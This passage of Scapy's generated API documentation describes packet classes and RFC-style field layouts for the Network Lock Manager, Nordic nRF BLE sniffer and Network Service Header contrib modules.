
	<Fattr3  rdev=[0, 0] |>



	count

	IntField (Cond)

	0



	committed

	IntEnumField (Cond)

	0



	verifier

	XLongField (Cond)

	0















	
scapy.contrib.nfs.loct(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L59-L66]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.nlm


	
class scapy.contrib.nlm.CANCEL_Call(_pkt, /, *, cookie=<NLM4_Cookie  |>, block=0, exclusive=0, caller=<Object_Name  |>, filehandle=<File_Object  |>, owner=<Object_Name  |>, svid=0, l_offset=0, l_len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L208-L220]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             BLOCK             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           EXCLUSIVE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             CALLER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OWNER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SVID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            L OFFSET                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             L LEN                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CANCEL_Call                         


CANCEL_Call fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	block

	IntEnumField

	0



	exclusive

	IntEnumField

	0



	caller

	PacketField

	<Object_Name  |>



	filehandle

	PacketField

	<File_Object  |>



	owner

	PacketField

	<Object_Name  |>



	svid

	IntField

	0



	l_offset

	LongField

	0



	l_len

	LongField

	0















	
class scapy.contrib.nlm.CANCEL_Reply(_pkt, /, *, cookie=<NLM4_Cookie  |>, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L223-L228]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CANCEL_Reply                         


CANCEL_Reply fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	status

	IntEnumField

	0















	
class scapy.contrib.nlm.GRANTED_MSG_Call(_pkt, /, *, cookie=<NLM4_Cookie  |>, exclusive=0, caller=<Object_Name  |>, filehandle=<File_Object  |>, owner=<Object_Name  |>, svid=0, l_offset=0, l_len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L162-L173]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |           EXCLUSIVE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             CALLER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OWNER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SVID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            L OFFSET                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             L LEN                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. GRANTED_MSG_Call                       


GRANTED_MSG_Call fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	exclusive

	IntEnumField

	0



	caller

	PacketField

	<Object_Name  |>



	filehandle

	PacketField

	<File_Object  |>



	owner

	PacketField

	<Object_Name  |>



	svid

	IntField

	0



	l_offset

	LongField

	0



	l_len

	LongField

	0















	
class scapy.contrib.nlm.GRANTED_MSG_Reply(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L176-L178]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.nlm.GRANTED_RES_Call(_pkt, /, *, cookie=<NLM4_Cookie  |>, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L188-L193]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. GRANTED_RES_Call                       


GRANTED_RES_Call fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	status

	IntEnumField

	0















	
class scapy.contrib.nlm.GRANTED_RES_Reply(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L196-L198]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.nlm.LOCK_Call(_pkt, /, *, cookie=<NLM4_Cookie  |>, block=0, exclusive=0, caller=<Object_Name  |>, filehandle=<File_Object  |>, owner=<Object_Name  |>, svid=0, l_offset=0, l_len=0, reclaim=0, state=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L106-L120]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             BLOCK             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           EXCLUSIVE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             CALLER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OWNER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SVID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            L OFFSET                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             L LEN                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RECLAIM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. LOCK_Call                          


LOCK_Call fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	block

	IntEnumField

	0



	exclusive

	IntEnumField

	0



	caller

	PacketField

	<Object_Name  |>



	filehandle

	PacketField

	<File_Object  |>



	owner

	PacketField

	<Object_Name  |>



	svid

	IntField

	0



	l_offset

	LongField

	0



	l_len

	LongField

	0



	reclaim

	IntField

	0



	state

	IntField

	0















	
class scapy.contrib.nlm.LOCK_Reply(_pkt, /, *, cookie=<NLM4_Cookie  |>, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L123-L128]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LOCK_Reply                          


LOCK_Reply fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	status

	IntEnumField

	0















	
class scapy.contrib.nlm.NLM4_Cookie(_pkt, /, *, length=0, contents=b'', fill=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L29-L47]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L46-L47]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CONTENTS           |              FILL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NLM4_Cookie                         


NLM4_Cookie fields






	length

	IntField

	0



	contents

	StrLenField

	b''



	fill

	StrLenField

	b''











	
set(c, length=None, fill=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L37-L44]

	








	
class scapy.contrib.nlm.SHARE_Call(_pkt, /, *, cookie=<NLM4_Cookie  |>, caller=<Object_Name  |>, filehandle=<File_Object  |>, owner=<Object_Name  |>, mode=0, access=0, reclaim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L50-L60]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             CALLER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OWNER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ACCESS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RECLAIM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SHARE_Call                          


SHARE_Call fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	caller

	PacketField

	<Object_Name  |>



	filehandle

	PacketField

	<File_Object  |>



	owner

	PacketField

	<Object_Name  |>



	mode

	IntField

	0



	access

	IntField

	0



	reclaim

	IntEnumField

	0















	
class scapy.contrib.nlm.SHARE_Reply(_pkt, /, *, cookie=<NLM4_Cookie  |>, status=0, sequence=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L63-L69]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            SEQUENCE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SHARE_Reply                         


SHARE_Reply fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	status

	IntEnumField

	0



	sequence

	IntField

	0















	
class scapy.contrib.nlm.TEST_Call(_pkt, /, *, cookie=<NLM4_Cookie  |>, exclusive=0, caller=<Object_Name  |>, filehandle=<File_Object  |>, owner=<Object_Name  |>, svid=0, l_offset=0, l_len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L236-L247]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |           EXCLUSIVE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             CALLER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OWNER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SVID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            L OFFSET                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             L LEN                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. TEST_Call                          


TEST_Call fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	exclusive

	IntEnumField

	0



	caller

	PacketField

	<Object_Name  |>



	filehandle

	PacketField

	<File_Object  |>



	owner

	PacketField

	<Object_Name  |>



	svid

	IntField

	0



	l_offset

	LongField

	0



	l_len

	LongField

	0















	
class scapy.contrib.nlm.TEST_Reply(_pkt, /, *, cookie=<NLM4_Cookie  |>, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L250-L255]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. TEST_Reply                          


TEST_Reply fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	status

	IntEnumField

	0















	
class scapy.contrib.nlm.UNLOCK_Call(_pkt, /, *, cookie=<NLM4_Cookie  |>, caller=<Object_Name  |>, filehandle=<File_Object  |>, owner=<Object_Name  |>, svid=0, l_offset=0, l_len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L136-L146]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             CALLER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OWNER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SVID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            L OFFSET                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             L LEN                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. UNLOCK_Call                         


UNLOCK_Call fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	caller

	PacketField

	<Object_Name  |>



	filehandle

	PacketField

	<File_Object  |>



	owner

	PacketField

	<Object_Name  |>



	svid

	IntField

	0



	l_offset

	LongField

	0



	l_len

	LongField

	0















	
class scapy.contrib.nlm.UNLOCK_Reply(_pkt, /, *, cookie=<NLM4_Cookie  |>, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L149-L154]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. UNLOCK_Reply                         


UNLOCK_Reply fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	status

	IntEnumField

	0















	
class scapy.contrib.nlm.UNSHARE_Call(_pkt, /, *, cookie=<NLM4_Cookie  |>, caller=<Object_Name  |>, filehandle=<File_Object  |>, owner=<Object_Name  |>, mode=0, access=0, reclaim=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L77-L87]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             CALLER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             OWNER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ACCESS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RECLAIM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. UNSHARE_Call                         


UNSHARE_Call fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	caller

	PacketField

	<Object_Name  |>



	filehandle

	PacketField

	<File_Object  |>



	owner

	PacketField

	<Object_Name  |>



	mode

	IntField

	0



	access

	IntField

	0



	reclaim

	IntEnumField

	0















	
class scapy.contrib.nlm.UNSHARE_Reply(_pkt, /, *, cookie=<NLM4_Cookie  |>, status=0, sequence=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nlm.py#L90-L96]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            SEQUENCE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. UNSHARE_Reply                        


UNSHARE_Reply fields






	cookie

	PacketField

	<NLM4_Cookie  |>



	status

	IntEnumField

	0



	sequence

	IntField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.nrf_sniffer

nRF sniffer

Firmware and documentation related to this module is available at:
https://www.nordicsemi.com/Software-and-Tools/Development-Tools/nRF-Sniffer
https://github.com/adafruit/Adafruit_BLESniffer_Python
https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-nordic_ble.c


	
class scapy.contrib.nrf_sniffer.NRF2_Packet_Event(_pkt, /, *, header_len=10, reserved=0, phy=None, mic=None, encrypted=None, direction=None, crc_ok=1, rf_channel=0, rssi=-256, event_counter=0, delta_time=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nrf_sniffer.py#L107-L122]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   HEADER LEN  |R| PHY |M|E|D|C|   RF CHANNEL  |      RSSI     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         EVENT COUNTER         |           DELTA TIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NRF2_Packet_Event                      


NRF2_Packet_Event fields






	header_len

	ByteField

	10



	reserved

	BitField  (1 bit)

	0



	phy

	BitEnumField

	None



	mic

	BitField  (1 bit)

	None



	encrypted

	BitField  (1 bit)

	None



	direction

	BitField  (1 bit)

	None



	crc_ok

	BitField  (1 bit)

	1



	rf_channel

	ByteField

	0



	rssi

	ScalingField

	-256



	event_counter

	LEShortField

	0



	delta_time

	LEIntField

	0











	
payload_guess

	Possible sublayers:
BTLE










	
class scapy.contrib.nrf_sniffer.NRF2_Ping_Request(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nrf_sniffer.py#L96-L97]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.nrf_sniffer.NRF2_Ping_Response(_pkt, /, *, version=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nrf_sniffer.py#L100-L104]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NRF2_Ping_Response                      


NRF2_Ping_Response fields






	version

	LEShortField

	None















	
class scapy.contrib.nrf_sniffer.NRFS2_PCAP(_pkt, /, *, board_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nrf_sniffer.py#L134-L150]

	Bases: Packet

PCAP headers for DLT_NORDIC_BLE.

Nordic’s capture scripts either stick the COM port number (yep!) or a
random number at the start of every packet.

https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-nordic_ble.c

The only “rule” is that we can’t start packets with BE EF, otherwise
it becomes a “0.9.7” packet. So we just set “0” here.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    BOARD ID   |
+-+-+-+-+-+-+-+-+

                         Fig. NRFS2_PCAP                          


NRFS2_PCAP fields






	board_id

	ByteField

	0











	
payload_guess

	Possible sublayers:
NRFS2_Packet










	
class scapy.contrib.nrf_sniffer.NRFS2_Packet(_pkt, /, *, len=None, version=2, counter=None, type=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nrf_sniffer.py#L39-L93]

	Bases: Packet

nRF Sniffer v2 Packet


	
aliastypes

	




	
answer(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nrf_sniffer.py#L80-L88]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |    VERSION    |    COUNTER    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. NRFS2_Packet                         


NRFS2_Packet fields






	len

	LenField

	None



	version

	ByteField

	2



	counter

	LEShortField

	None



	type

	ByteEnumField

	None











	
payload_guess

	Possible sublayers:
NRF2_Packet_Event, NRF2_Ping_Request, NRF2_Ping_Response






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nrf_sniffer.py#L90-L93]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.nsh


	
class scapy.contrib.nsh.NSH(_pkt, /, *, ver=0, oam=0, unused1=0, ttl=63, length=None, unused2=0, mdtype=1, nextproto=3, spi=0, si=255, context_header=b'', vlch=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nsh.py#L38-L74]

	Bases: Packet

Network Service Header.
NSH MD-type 1 if there is no ContextHeaders


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VER|O|U|    TTL    |   LENGTH  |UNUSED2| MDTYPE|   NEXTPROTO   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SPI                              |
